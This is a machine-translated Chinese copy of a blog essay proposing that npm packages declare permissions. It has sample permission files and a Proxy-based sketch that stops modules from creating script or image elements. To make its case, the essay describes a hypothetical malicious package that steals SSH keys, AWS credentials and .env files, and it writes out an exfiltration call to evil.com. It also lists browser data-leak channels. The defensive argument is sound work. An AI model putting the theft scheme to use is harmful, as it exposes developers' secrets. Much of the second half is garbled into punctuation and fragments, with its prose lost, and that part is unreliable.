有一个想法:npm软件包的权限系统

几天前,我首先在新手机上启动了计算器,并看到以下消息:“计算器希望访问您的联系人。”


起初我以为这个帖子有点难过(看起来像一个计算器独自一人),但这一事件让我觉得...

如果像电话应用程序一样,npm软件包需要声明其工作所需的权限,该怎么办? 使用这种方法, package.json包文件可能看起来像这样:

 { "name": "fancy-logger", "version": "0.1.0", "permissions": {   "browser": ["network"],   "node": ["http", "fs"] }, "etcetera": "etcetera" } 

npmjs.com上,包页面的一部分包含有关其所需权限的信息,如下所示。


这样的许可权部分可能可用于npm注册中心站点上的软件包。
软件包的此类权限列表可能是其所有依赖项的权限与自己的权限的组合。

看一看fancy-logger程序包的permissions部分的内容,可能会使开发人员考虑为什么向控制台写入内容的程序包需要访问http模块,并且看起来有些可疑。

在什么样的世界中将使用类似的npm软件包许可系统? 也许有人会看不到这一点,因为他觉得完全安全,例如,仅使用经过时间考验的发行商提供的可靠软件包。 为了使每个阅读此文章的人都感到脆弱,这里有一个简短的故事。

我如何窃取您的环境变量的故事


我想创建一个名为space-invaders的npm软件包。 通过编写可在控制台中运行的游戏来学习如何制作游戏,同时证实我对与npm软件包相关的漏洞的观点,这很有趣。

您可以使用以下命令运行此游戏: npx space-invaders 。 发射后,人们可以立即开始射击外星人并消磨时间。

您想要这款游戏,可以与朋友分享,他们也喜欢。

所有这些看起来都非常积极,但是,娱乐您的游戏space-invaders会做自己的space-invaders ,即收集一些数据。 它将从~/.ssh/~/.aws/credentials~/.bash_profile和其他类似位置收集信息,读取它可以访问的所有.env文件的内容,包括process.env ,到git配置(以找出它收集谁的信息),然后她将其全部发送到我的服务器。

我还没有写过这样的游戏,但是有一段时间我一直感到不安,当我运行npm install命令时,我想到了我的系统有多脆弱。 现在,在查看安装进度指示器时,我考虑了笔记本电脑上有多少个标准文件夹和文件,其内容不应落入他人之手。

不只是我的工作空间 例如,我什至不知道我的站点组装系统的某些环境变量中是否存在用于连接到生产服务器数据库的数据。 如果某处有此类数据,那么您可以想象一种情况,即恶意的npm-package在系统中安装了旨在连接到我的工作数据库的脚本。 然后,此脚本执行SELECT * from users命令,然后执行http.get('http://evil.com/that-data') 。 也许正是由于这种攻击的可能性,我才发现建议不要将密码以纯文本形式存储在数据库中?

所有这些看起来都很可怕,并且很可能已经发生了(尽管无法确切地说出是否正在发生)。

因此,也许我们将不再谈论重要数据被盗的后果。 让我们回到npm软件包的权限主题。

锁定权限更改


我认为在查看npm站点时能够查看软件包所需的权限将是很棒的。 但是应该注意,仅当应用于特定时间点时,查看权限的能力才是好的,实际上,这不能解决真正的问题。

在npm的最近一次事件中,有人首先发布了包含恶意代码的软件包的补丁版本,然后发布了已从中删除了恶意代码的次要版本。 这两个事件之间的时间足以危及该危险软件包的许多用户。

这就是问题所在。 并非由恶意软件创建的软件包始终存在。 问题是,在看似可靠的软件包中,您可以安静地添加一些不良内容,并在一段时间后将其从中删除。

结果,可以说我们需要一种机制来阻止软件包接收的一组权限。

也许它将类似于package-permissions.json文件,该文件设置Node.js和浏览器的权限,并包含需要这些权限的程序包列表。 使用这种方法,有必要列出此类文件中的所有软件包,而不仅仅是列出项目package.json文件的dependencies部分中的软件包。

这是package-permissions.json文件的外观。

 { "node": {   "http": [     "express",     "stream-http"   ],   "fs": [     "fs-extra",     "webpack",     "node-sass"   ] }, "browser": {   "network": [     "whatwg-fetch",     "new-relic"   ] } } 

此类文件的实际版本可能包含更多的软件包条目。

现在想象一下,有一天您将更新一个具有200个依赖关系的程序包,该程序包也会被更新。 已发布针对这些依赖项之一的补丁程序版本,突然需要访问httpNode.js。

如果发生这种情况, npm install命令将失败,并显示类似以下消息:“ fancy-logger所需的add-two-number软件包请求访问httpNode.js。 运行npm update-permissions add-two-numbers命令来解决此问题,然后再次运行npm install命令。”

在这里, fancy-loggerpackage.json文件中的软件包(假定您熟悉此软件包),而add-two-numbers软件包是一个您从未听说过的fancy-logger依赖项。

当然,即使系统中存在一个文件来“阻止”依赖项,一些开发人员也会在不考虑任何问题的情况下确认新的权限。 但是,至少,pull package-permissions.json的更改将在拉取请求中可见,也就是说,将有另一个负责任的开发人员注意这一点。

此外,对请求的权限的更改将要求npm注册表本身在情况在其软件包的依赖关系树中某处更改时通知软件包作者。 也许-这将通过包含以下内容的电子邮件来完成:

“您好, fancy-logger作者。 我们通知您, add-two-number (您使用其功能的软件包)请求获得使用http模块的权限。 您的软件包权限(如npmjs.com/package/fancy-logger所示)已相应更新。”

当然,这将增加软件包作者和npm自己的工作,但是这些事情值得花点时间在它们上面。 在这种情况下, add-two-numbers的作者绝对可以确定,如果他请求允许使用http模块,则将导致触发世界各地的许多“警报”。

那就是我们所需要的。 ?? 我希望与电话应用程序一样,甚至在Chrome扩展程序的情况下,与那些需要莫名其妙的系统访问权限的用户相比,要求更少权限的程序包将对用户更受欢迎。 反过来,这将使程序包作者在选择开发所需的权限时会很好地考虑。

假设npm决定引入一个权限系统。 在启动此类系统的第一天,所有软件包都将被视为需要完全许可(这样的决定将在以后做出-如果package.json缺少permissions部分)。

程序包的作者希望声称自己的程序包不需要特殊的权限,因此有兴趣将package.jsonpermissions部分添加为一个空对象。 并且,如果程序包的作者对此很有兴趣,以至于依赖性权限不会“负担”他们的程序包,他们将尝试确保这些依赖性程序包也不需要特殊的权限,例如,通过在依赖性库中发出适当的请求。

另外,软件包的每个作者在打破其依赖关系之一时,都将努力降低其软件包的脆弱性风险。 因此,如果程序包的作者使用了需要权限的依赖项(似乎不需要),则他们将有动力转向使用其他程序包。

对于开发人员在创建应用程序时使用npm-packages的情况,这将迫使他们特别注意其项目中使用的软件包,主要选择那些不需要特殊权限的软件包。 当然,同时,出于客观原因,某些程序包将需要可能导致问题的权限,但是此类程序包可能会受到开发人员的特殊控制。

也许像Greenkeeper之类的东西可能会以某种方式帮助解决所有这些问题。

最后, package-permissions.json文件将为安全专家提供易于理解的摘要,该专家评估应用程序中的潜在“漏洞”,并允许您提出有关有争议的软件包及其权限的特定问题。

结果,我希望这个简单的permissions属性可以在大约800,000个npm软件包中广泛传播,并使npm更安全。

当然,这不会阻止可能的攻击。 就像移动应用程序所请求的权限一样,无法创建通过官方站点分发的恶意移动应用程序。 但这会将“攻击面”缩小为明确要求进行某些操作的软件包,这些操作可能会对计算机系统造成威胁。 此外,了解有多少百分比的软件包根本不需要任何特殊权限将很有趣。

这就是我想到的使用npm软件包权限的机制。 如果这个想法成为现实,我们可以依靠以下事实:攻击者将通过声明权限来诚实地描述其软件包,或者将声明权限的系统与根据其所请求的权限强制限制软件包功能的机制相结合。 这是一个有趣的问题。 让我们看一下它应用于Node.js和浏览器的情况。

根据Node.js中要求的权限来强制执行软件包限制


在这里,我看到了应用这种限制的两个可能的选择。

▍选项1:强制执行安全措施的特殊npm软件包


想象一下由npm(或其他同样权威且有远见的组织)创建和维护的软件包。 将此软件包称为@npm/permissions

这样的软件包将通过第一个import命令包含在应用程序代码中,或者使用node -r @npm/permissions index.js形式的命令启动应用程序。

一个软件包将覆盖其他导入命令,以使它们不会违反其他软件包的package.json文件的permissions部分中所述的permissions 。 如果某个lovely-logger程序包的作者未在Node.js http模块中声明需要此程序包,则意味着该程序包无法访问该程序包。

严格来说,以这种方式阻塞整个Node.js模块并不理想。 例如,npm methods包会加载Node.js http模块,但不会使用该模块发送任何数据。 它仅使用http.METHODS对象,将其名称转换为http.METHODS ,并将其导出为经典的npm包。 现在,这样的软件包对于攻击者来说似乎是一个不错的目标-他每周有600万次下载,而3年没有变化。 我可以写信给这个程序包的作者,并邀请他们给我它的存储库。

考虑methods包,最好考虑它不需要network许可,也不需要提供对http模块的访问的许可。 然后,可以使用外部机制修复此限制,并抵消此程序包从其工作所在的系统发送某些数据的任何尝试。

虚构的软件包@npm/permissions也可能会将一个软件包的访问限制为未列出为其依赖项的任何其他软件包。 例如,这将阻止程序包导入fs-extrarequest ,并使用这些程序包的功能从文件系统读取数据并将读取的数据发送给攻击者。

同样,区分“内部”和“外部”磁盘访问可能很有用。 我很高兴node-sass需要访问位于我的项目目录中的资料,但是我看不到为什么该软件包需要访问此目录之外的任何内容的原因。

也许,在引入权限系统的最开始, @npm/permissions包将需要手动添加到项目中。 也许在过渡期间,在消除不可避免的故障期间,这是使用这种机制的唯一合理方法。 但是,为了确保真正的安全性,必须将该程序包紧密集成到系统中,因为在执行程序包安装脚本时有必要考虑权限。

然后,很可能结果是,项目的package.json文件中形式为"enforcePermissions": true的简单命令将告诉npm强制使用它们声明的权限来运行任何脚本。

▍选项2:安全模式Node.js


显然,专注于提高安全级别的Node.js特殊操作模式将需要进行更认真的更改。 但是也许从长远来看,Node.js平台本身将能够实施由每个程序包声明的权限设置的限制。

一方面,我知道正在开发Node.js平台的人们正在努力解决该平台的问题,而我对npm软件包安全性的想法超出了他们的兴趣范围。 归根结底,npm只是Node.js附带的技术。 另一方面,Node.js开发人员有兴趣让公司用户对使用此平台充满信心,并且安全性大概是Node.js的那些方面之一,不应被视为“社区”。

因此,尽管我们所讨论的一切看起来都非常简单,但可以归结为以下事实:系统在Node.js操作期间将以一种或另一种方式遵循模块所使用的功能。

现在让我们谈谈浏览器。 这里的一切看起来都不是那么清晰和可理解。

根据浏览器中请求的权限强制限制软件包的功能


乍一看,对浏览器中软件包功能的强制限制看起来更加简单,因为在浏览器中运行的代码不能做很多事情,特别是对于运行浏览器的操作系统而言。 实际上,对于浏览器,您只需要担心数据包将数据传输到异常地址的能力。

这里的问题在于,有无数种方法可以将数据从用户的浏览器发送到攻击者的服务器。

这就是所谓的渗透或数据泄漏,如果您问安全专家如何避免这种情况,他会以发明火药的人的眼光告诉您停止使用npm。

我相信,对于在浏览器中运行的软件包,您只需要注意一种解决方案-一种负责与网络配合使用的能力。 我们称其为network 。 在这种环境中可能还有其他权限(例如那些用于规范对DOM或本地存储的访问的权限),但是在此我假设我们主要关注的是数据泄漏的可能性。

浏览器中的数据可以通过多种方式“删除”。 这是60秒内我能记住的那些:

  • API fetch
  • 网络套接字
  • WebRTC技术。
  • EventSource构造方法。
  • XMLHttpRequest API
  • 设置各种元素的innerHTML属性(可以创建新元素)。
  • 使用new Image()命令创建图像对象new Image()图像的src属性可以用作渗出数据的方法)。
  • 设置document.locationwindow.location等。
  • 更改现有图像, iframe或类似内容的src属性。
  • 更改<form>元素的target属性。
  • 使用巧妙设计的字符串访问以上任何一种机制或访问topself而不是windows

应当指出,好的内容安全策略(CSP)可以抵消其中的某些威胁,但这并不适用于所有威胁。 如果有人可以纠正我,我会很高兴,但是我相信您永远不能依靠CSP可以完全保护您免受数据泄漏的事实。 曾经有人告诉我,CSP提供了几乎完整的保护措施,可抵御大量威胁。 为此,我回答说您不能怀孕了,此后我们一直未与该人联系。

如果您明智地寻求从浏览器中窃取数据的方法,我相信列出这些方法的完整列表是很现实的。

现在我们需要找到一种机制来禁止从这样的列表中访问机会。

Webpack (, @npm/permissions-webpack-plugin ), :

  • browser package-permissions.json , npm- ( - , ).
  • , , , API, .

(, Parcel, Rollup, Browserify ).

, , -. , , , , , .

, ( Lodash, Moment, ), . .

.

 //   (),   ,    function bigFrameworkWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //      const firstDiv = document.querySelector('div'); //    }, }; return module; } //   ( ),   ,    function smallUtilWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //  !     const firstDiv = document.querySelector('div'); //    }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) {   if (prop === 'document') {     return new Proxy(target.document, {       get(target, prop, receiver) {         if (prop === 'createElement') {           return new Proxy(window.document.createElement, {             apply(target, thisArg, argumentsList) {               if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) {                 console.error('A module without permissions attempted to create a naughty element');                 return false;               }               return target.apply(window.document, argumentsList);             },           });         }         const result = Reflect.get(target, prop, receiver);         if (typeof result === 'function') return result.bind(target);         return result;       },     });   }   return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); //   const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element" 

function bigFrameworkWrapper(newWindow) { function smallUtilWrapper(newWindow) { — , . «» .

const newScript = document.createElement('script'); // ! , — script .

const bigFramework = bigFrameworkWrapper(window); const smallUtil = smallUtilWrapper(restrictedWindow); «» . , , .

const restrictedWindow = new Proxy(window, { window , , window , , window.document.createElement DOM .

Proxy .

. , .

, , API, . , , , , , , , , , , «» .

, , , - .

, , , , Proxy . , 90% , . , , . , - , , , .

, , , , , Node.js .


, , HTTP , , , -. 这是可以理解的。

-, , , . iframe , . sandbox , , . , , , -.

, , sandbox <script> . : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script> . , , , - create-react-app , 1.4 , .

, npm , .

, - .

, , - « ...», , , ?

总结


, , , , . , 90% , , , 10% — , .

, , - .

亲爱的读者们! , , npm, -?

Source: https://habr.com/ru/post/zh-CN433010/


All Articles